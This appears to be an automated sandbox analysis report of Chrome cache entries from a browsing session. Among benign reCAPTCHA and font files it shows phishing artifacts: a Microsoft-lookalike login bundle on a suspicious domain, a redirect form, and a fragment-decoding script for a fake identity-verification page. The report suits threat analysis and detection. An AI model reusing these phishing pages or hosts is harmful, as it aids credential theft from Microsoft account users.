SSDEEP:	3:JSbMqSL1cdXWKQKPnUhptc8UjECWaee:PLKdXNQKfUhhUjECL
MD5:	DCF0DD9E2A4C0015BD80CE993AC84FF1
SHA1:	6C4EDA6061F7A7B9E05F439540FA26C261996FBE
SHA-256:	73943CF1AB8EFF323E097BEE9C52083255EE6E53B9ABBEB193AA09FCE212FA24
SHA-512:	F2D0A9E79D038AE1D00E6F4C08C3CF41AF3E81EA8955E73052F89C4370027BA795080C867019497842A337F049D0112D8DD6C3F1BF5DB8659D5F8428023128E4
Malicious:	false
Reputation:	low
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/1Bq_oiMBd4XPUhKDwr0YL1Js/recaptcha__en.js');

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
Reputation:	low
URL:	https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (655)
Category:	downloaded
Size (bytes):	558320
Entropy (8bit):	5.672995045049586
Encrypted:	false
SSDEEP:	6144:5biGhV9HAmCnkQ/fLhprLj6hYn++ki4NYfoBv7SonwzqictT:5eGhVBAmCn7LLyYnEi48KRtT
MD5:	1F233FF2DEEAAACC3C11614068D6F46D
SHA1:	6AB5F0FB0ADA1228EF529E3D48961C36FBC21424
SHA-256:	DC987654372C681461A1AB9E9835FC0006367829E3F0CDCCEE51081109D7868F
SHA-512:	A44C564BA2FF696762DD9A9F05F38DBB839A594989BCAE5C402222AE6D9A17A29942C99DF9C473F043E928F98BDABB62299BB192613C72D5D5B3EFDE7DD36C63
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/1Bq_oiMBd4XPUhKDwr0YL1Js/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT./.var y=function(){return[function(Y,H,g,f,r,M,C,D,e,d,z,G,x,N,u,m,t,P,n,c,B,F,h){if((Y\|9)<((Y-7\|((F=[0,1E3,17],(Y-5^F[2])<Y&&(Y-5\|58)>=Y)&&(W[25](59,f,g),r=YE(Number(f)),z1(r)&&(!g&&!G1\|\|r>=H)?h=String(r):(M=f.indexOf("."),M!==-1&&(f=f.substring(H,M)),h=w[38](F[2],16,20,f))),36))>=Y&&(Y+4&13)<Y&&xE.call(this,375,10),21)&&Y<<1>=5){if(G=(d=W[32](12,(n=["iPod","allow",(m={title:"reCAPTCHA",tabindex:C,width:String(f.width),height:String(f.height),role:"presentation",name:g+M.X},"kaios")],"OPR"))&&p[42](8,.H,W[26](15,2,"Edge","Edg/","Opera"),"17.5")>=F[0],Z[F[2]](30,n[F[0]]))){if(K[N=(P="",v[23](3)),28](16))e=/Windows (

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 407078
Category:	dropped
Size (bytes):	116400
Entropy (8bit):	7.997306736512531
Encrypted:	true
SSDEEP:	3072:QucjKpydxKzRbMAY8zdi6dGGUWWKwRUle8Vkv7R:QubyS5zd1GGUz78VA7R
MD5:	65D7945EF087E2EB27B8D1A9250DFB43
SHA1:	8175DE5262EE60B491B58FE9C44A479AC9E516A1
SHA-256:	706FB5E8504FAAC403C54F66D3DAFB3ADC6CE77A5069B7ABBCF020122DBE3C35
SHA-512:	E4D7571C2A1D831625E4F6C7A701E9BC046B9401AA1EF647155296019C03FDD162ABEF03E31B37BE7533EDC7392E03C1C5869B3AFA9859C49566DB635D030C88
Malicious:	false
Reputation:	low
Preview:	...........k[.H.(.}..[..-..c.c....0......!L.a...#yt......k...J..&...........^.~...._..j...W;;?8=.........m...~.}<>?zs.~=.(.;..qm.Oy.~....jaP......h.F^......\|oZ.G.M-...,...a..~..GW\|...L....N.(y...X-..Cm......p.......?.5/.QmS..b^K...jw..8.}..Q.....!.o..8...&X.x-.Im.F.D..U;.....-.T.:...1........8Ka..M.L.ZZ'....>........x....v.S;.<...0J.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q......#42V.q..f\|.kK...1o.mP.}.......N..m..7.%^M.d.;...~2I.ZQ....ik..l...z..0..7..h.g..7.....b..Iz.}...o<?P....pTX.........N....o..9...._...`_..7..W...[.l>...Z.4....... ...s{..s..R...4....q.Y..^T....X,...\|.m[,..m...c..].yp.e..R6t..Y...{........x..h.OZ._.@.n.h...cX.&-.n.[/...ng.S.Am..D<I...\K.A.[..w...a>o...YO,.I.8.....'........X.....]..S4u..S..+9..q.o...Z8.,..Na7..u..~..K................+X"G.{.....{.4.xE......7].a..._..Lyd...]0.M....P\|..?]laY.(...h..2..X.(.X...2.VL.....}..~..6..[C..obz.#.....37h.W......P{..7!....b..\R.]U....."...5.o....7S.piCG../...\\.......#~..-n

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/refresh_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlHumnUdr-6fRIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 57678
Category:	downloaded
Size (bytes):	16378
Entropy (8bit):	7.986536867192968
Encrypted:	false
SSDEEP:	384:gOBEj/gTOkWow647Z1Y8hyJavTiIQslkHC:gOBKJB11Y8heariIQ8ki
MD5:	709ED28E9CBA26C18B5C0D9C98DAEDC2
SHA1:	98EEF185176F439E2082D199D87435335CBDF4C9
SHA-256:	52F3EA436D2A9FEF0207505441ABC9B8EDE49B56054C7A4DD23CB65FAAE3AB57
SHA-512:	5AA017F894CD82C92C1C8EB0DA0E465C60C0FB0A809F6B8D34A52785B9EB8D5C7BA18BD53FCE546858380C1B1101D9315B6A9151DA64BC8F1817E331E24D00D3
Malicious:	false
Reputation:	low
URL:	https://a6dd5e95-cf4691c7.rnantengu.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 454798
Category:	dropped
Size (bytes):	122728
Entropy (8bit):	7.9976123612308685
Encrypted:	true
SSDEEP:	3072:WvJm3rZJQVoDIr3MW0XdE6hh+A5/EF7RTYB1+l:kWZJQVosrLEGAV5cFhYB1m
MD5:	1304BEDF0F86AD7DAB68823C7979B86C
SHA1:	ABA4AD58F5A10132BA6477E0CF0532937D2DCCBE
SHA-256:	58E72033CCACD6C6E28FFD159231E5DEA267418CFCA29069CB20A6A7A5E5B370
SHA-512:	A65031F0EC87AD3FA66727778998529FCDCB428A0A20F67CE6338AD2D4E86F5FFCB4B659A1A084D42796F7A803DAD01813F2A823CF54CB6488371CCAB5D7671C
Malicious:	false
Reputation:	low
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~......&....>x.b2ub......>..pp..g..q.Y.....R9.g...V/.y8..........UB+......Np.\|../..;Ve...]...\|.Q..i.}=..[.N...y.......A.KX......xg....m\|..F.~.@.I...Y.......d....PA......s..mo..."~....R..m.`.. .JT..#=...6..#..F5x.......=......'.Z......+....e..R4....\.o..Z.E.T.w.(..d\|@.mL.....Sk..E..\..D!.....,.'z.;.....2....2..xoo...E..d...%lu.a4...l....j.C.\|.`.kH=."@.......F'A.D...B`P.Q.K.Sq]..i5BT`'b...Wt..5@} &.&.....v..............N....@O......w?.....*...............R........hU..~.........s..)q....3.pf..!.V....<%

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18318)
Category:	dropped
Size (bytes):	18936
Entropy (8bit):	5.689383912539823
Encrypted:	false
SSDEEP:	384:Hdp50FuAuCZfnLYdCCwR1bxZlRKMAdNcnae9JJyZ+KO4Vx:FCZvP3bAdwaepGOg
MD5:	6F6D3B561738FD855AB800DA5B967D3D
SHA1:	653DAE597FE07100DD1863EF43DA6A2432D98959
SHA-256:	098E08750F0F34EAACF6E80FC536898768585B2F26D6516EFFF38879C3D69FEC
SHA-512:	83F0448A8661F335521279202E5F880C8D38EE73A53DEA7288F404708B3A7B75E6B4681EDE622079DFC3EA274C6131C06C96B08CD6D158E9B13D9ECCF59EB83D
Malicious:	false
Reputation:	low
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var P=function(V,Z){if(Z=(V=null,K).trustedTypes,!Z\|\|!Z.createPolicy)return V;try{V=Z.createPolicy("bg",{createHTML:Y,createScript:Y,createScriptURL:Y})}catch(l){K.console&&K.console.error(l.message)}return V},Y=function(V){return V},K=this\|\|self;(0,eval)(function(V,Z){return(Z=P())&&V.eval(Z.createScript("1"))===1?function(l){return Z.createScript(l)}:function(l){return""+l}}(K)(Array(Math.random()7824\|0).join("\n")+['(function(){/',.'',.' Copyright Google LLC',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var Zn=function(Z,V,l,Y,P,S,Q,I){return(S=(Y=[-49,76,71,-4,62,-20,Y,-15,65,-40],P=(I=Vp,l&7),C)[V.L](V.nS),S)[V.L]=function(W){P+=6+(Q=W,7)l,P&=7},S.concat=function(W){return((Q=(W=(W=+(W=Z%16+1,Y)[P+75&7]ZW-160ZZQ+(I()\|0)W+40QQ-2120Q+4ZZW+P-WQ-3040ZQ,Y[W]),void 0),Y)[(P+69&7)+(l&2)]=W,Y)[P+(l&2)]=76,W},S},Ku=function(Z,V,l,Y){for(;V.Y.length;){l=(V.C=null,V.Y.po

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.6770058072183405
Encrypted:	false
SSDEEP:	12:XDQ7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:X86qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	ECC8894D3791BEDDB4E0226F8DAB065A
SHA1:	6510EB51E76A49746C526E432455549B50DE5AF1
SHA-256:	64C8C0A9EFBC27AD86EAEC90465B75C52AE8CD68F7E76FC9431DC6AE66072AC3
SHA-512:	02B20BE98C22EBF7886FE68008C4ED42E3F8FF6ADC8DD7BC1A43A8C4F6FD56CC932EFC5500249A4FAA5024574A841AD10FC8DDB8221CB7226E0E16DEA63F7052
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15552, version 1.0
Category:	downloaded
Size (bytes):	15552
Entropy (8bit):	7.983966851275127
Encrypted:	false
SSDEEP:	384:HDKhlQ8AGL0dgUoEGBQTc7r6QYMkyr/iobA2E4/jKcJZI7lhzi:jslQ+LhUoTB0Qr6Qjkg/DmcJufzi
MD5:	285467176F7FE6BB6A9C6873B3DAD2CC
SHA1:	EA04E4FF5142DDD69307C183DEF721A160E0A64E
SHA-256:	5A8C1E7681318CAA29E9F44E8A6E271F6A4067A2703E9916DFD4FE9099241DB7
SHA-512:	5F9BB763406EA8CE978EC675BD51A0263E9547021EA71188DBD62F0212EB00C1421B750D3B94550B50425BEBFF5F881C41299F6A33BBFA12FB1FF18C12BC7FF1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......<...........<Z.........................d..z..J.`..L.\..<.....<.....^...x.6.$..6. .... ..S..}%.......\|....x..[j.E...d..-A...]=sjf$X.o.5......V....i?}.\...;...V......5..mO=,[.B..d'..=..M...q...8..U'..N..G...[..8....Jp..xP...'.?....}.-.1F.C.....%z..#...Q...~.~..3.............r.Xk..v..7t.+bw...f..b...q.W..'E.....O..a..HI.....Y.B..i.K.0.:.d.E.Lw....Q..~.6.}B...bT.F.,<./....Qu....\|...H....Fk.-..H..p4.$......{.2.....".T'..........Va.6+.9uv....RW..U$8...p...........H5...B..N..V...{.1....5}p.q6..T...U.P.N...U...!.w..?..mI..8q.}.... >.Z.K.....tq..}.><Ok..w.. ..v....W...{....o...."+#+,..vdt...p.WKK:.p1...3`. 3.......Q.].V.$}.......:.S..bb!I...c.of.2uq.n.MaJ..Cf.......w.$.9C...sj.=...=.Z7...h.w M.D..A.t.....]..GVpL...U(.+.)m..e)..H.}i.o.L...S.r..m..Ko....i..M..J..84.=............S..@......Z.V.E..b...0.....@h>...."$.?....../..?.....?.J.a,..\|..d...\|`.m5..b..LWc...L...?.G.].i...Q..1.:..LJV.J...bU.2.:\.kt.......t.....k....B..i.z+...........A.....

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1363
Entropy (8bit):	5.0273444565542516
Encrypted:	false
SSDEEP:	24:5ZRIxroSKmXx71OiFDrOiTclwQuB06GSWOqlLbcSmRRFBFGcSKmXXyTL:5ZqH1fDr1clwLB06GrRbcBR/N
MD5:	AA0212DF4B8BE69592507AFED8FFCF9A
SHA1:	2223FA97BC8F10D04A3A22976E292064AD47208F
SHA-256:	CA69F906E1DE850D46FB2A238990F101A7622F3E3C0972115D74983912EA1447
SHA-512:	20BD02DC68C8632831F44F00282B4EF60004CBBC6DCFC5D54923DB5A9B7DE3827A23826B0CF1FEF5A4AF07E8C7052BC22C0F897780277024A5D43268382E0253
Malicious:	false
Reputation:	low
URL:	https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/
Preview:	. <form id="captchaForm2" action="/api/index.php?continue2" method="POST">. <input type="hidden" name="url" value="https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html">. </form>. <script>..function check_hash() {. if (!window.location.hash) {. return {. 'isok': false,. 'email': "none". };. }. var fragment = window.location.hash.substring(1);... if (fragment.length < 3) {. return {. 'isok': false,. 'email': "none". };. }. var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)\|([0-9a-zA-Z+/]{3}=))?$/;. if (base64regex.test(fragment)) {. try {. var decodedFragment = atob(fragment);. console.log("Decoded Base64 value:", decodedFragment);. } catch (error) {. console.log("Error while decoding Base64 value:", error);. }. } else {. console.log("Not a valid Base64 value.");. decodedFragment = fragment;. }.. return {.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6584200238076905
Encrypted:	false
SSDEEP:	12:XRt8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:X+UVpkNK0Rwid81p6btk7LqZ6D
MD5:	2D2CBA7D7DC75F3BA9DC756738D41A6E
SHA1:	F87FD26066ED5E52A65DEE0ED2D581D3C3EA15AC
SHA-256:	00E21864CF1BC70302EBB5B496C6C471A7DA8CBF600630B478A3E2376ED20EA2
SHA-512:	46F17658CA247C02F612213025350390D8F62179C8DE26725EB17F5CCFAFDD63F2149DA1765D3C2F3A12FE85EF29CAC58457B0D5C2F8DA8DED6E1231A35F199D
Malicious:	false
Reputation:	low
URL:	https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.476409765557392
Encrypted:	false
SSDEEP:	3:H0hCkuWthHeTn:UUkuqxeT
MD5:	A3144EE887752BC84252FAACD4DFFD83
SHA1:	172430F70BAEDA54BB9F533293E0E80A2DA5835D
SHA-256:	8B87CFF79D0F8142D02D4A5991C83A5D59A7733BCB0EBEDD0DE57E559C6EAEFB
SHA-512:	E366210709098991B8B21140DF48E50CD650E115A30A8A5EEC016B98B077C6DA3FEE972BA219409AD72E85BF575A033E1E9AAC7931B727E4BA15644AAC5349D3
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnfgZFHBADTuxIFDVNaR8USEAlHumnUdr-6fRIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgAKCQoHDVNaR8UaAA==

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1040), with CRLF line terminators
Category:	downloaded
Size (bytes):	2825
Entropy (8bit):	5.531371517648304
Encrypted:	false
SSDEEP:	48:tIs3uFVmtGHMcyG7pJRESRYO9K6XppNXE3JZIGG6nlqyoTS+o2wO+O6p1xzK:devmyquR343gulcS+9wLBfxm
MD5:	F8CF65C089D5B3C4B66FD9B1857A011D
SHA1:	7D1590B5402AFD7A7AED12838230F7D0697A37BF
SHA-256:	E1492798128F7041D1BECCC6EAC858ED956B99B6490F0A571B4017B22C4AF4B1
SHA-512:	027EBCEE186919F8EA6F77DDE278BCF503F17C126D482FCCC694C62D66D24C2E18D715FECC1C88CCF300FFA005B4AB6414C8799805AC9AE24F9F21E7A1BE1B10
Malicious:	false
Reputation:	low
URL:	https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Identity Verification</title>.. <link rel="icon" href="https://i.imgur.com/gt4PosY.png" type="image/x-icon">.. <style>.. body{margin:0;padding:0;display:flex;justify-content:center;align-items:center;height:100vh;background:#f3f4f6;font-family:Arial,sans-serif;text-align:center}#container{position:relative;width:300px;text-align:center}.logo{width:80px;height:80px;margin:0 auto;background:url('your-logo.png') no-repeat center center / contain}h2{margin-top:20px;font-size:18px;color:#333}form{margin-top:20px}input[type="email"]{width:100%;padding:10px;margin-bottom:10px;border:1px solid #ccc;border-radius:5px;font-size:14px}button{width:100%;padding:10px;background-color:#007bff;color:white;border:none;border-radius:5px;font-size:14px;cursor:pointer;margin-top:10px}button:hover{background-color:#0056b3}.spinner{position:absolute;top

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (655)
Category:	dropped
Size (bytes):	558320
Entropy (8bit):	5.672995045049586
Encrypted:	false
SSDEEP:	6144:5biGhV9HAmCnkQ/fLhprLj6hYn++ki4NYfoBv7SonwzqictT:5eGhVBAmCn7LLyYnEi48KRtT
MD5:	1F233FF2DEEAAACC3C11614068D6F46D
SHA1:	6AB5F0FB0ADA1228EF529E3D48961C36FBC21424
SHA-256:	DC987654372C681461A1AB9E9835FC0006367829E3F0CDCCEE51081109D7868F
SHA-512:	A44C564BA2FF696762DD9A9F05F38DBB839A594989BCAE5C402222AE6D9A17A29942C99DF9C473F043E928F98BDABB62299BB192613C72D5D5B3EFDE7DD36C63
Malicious:	false
Reputation:	low
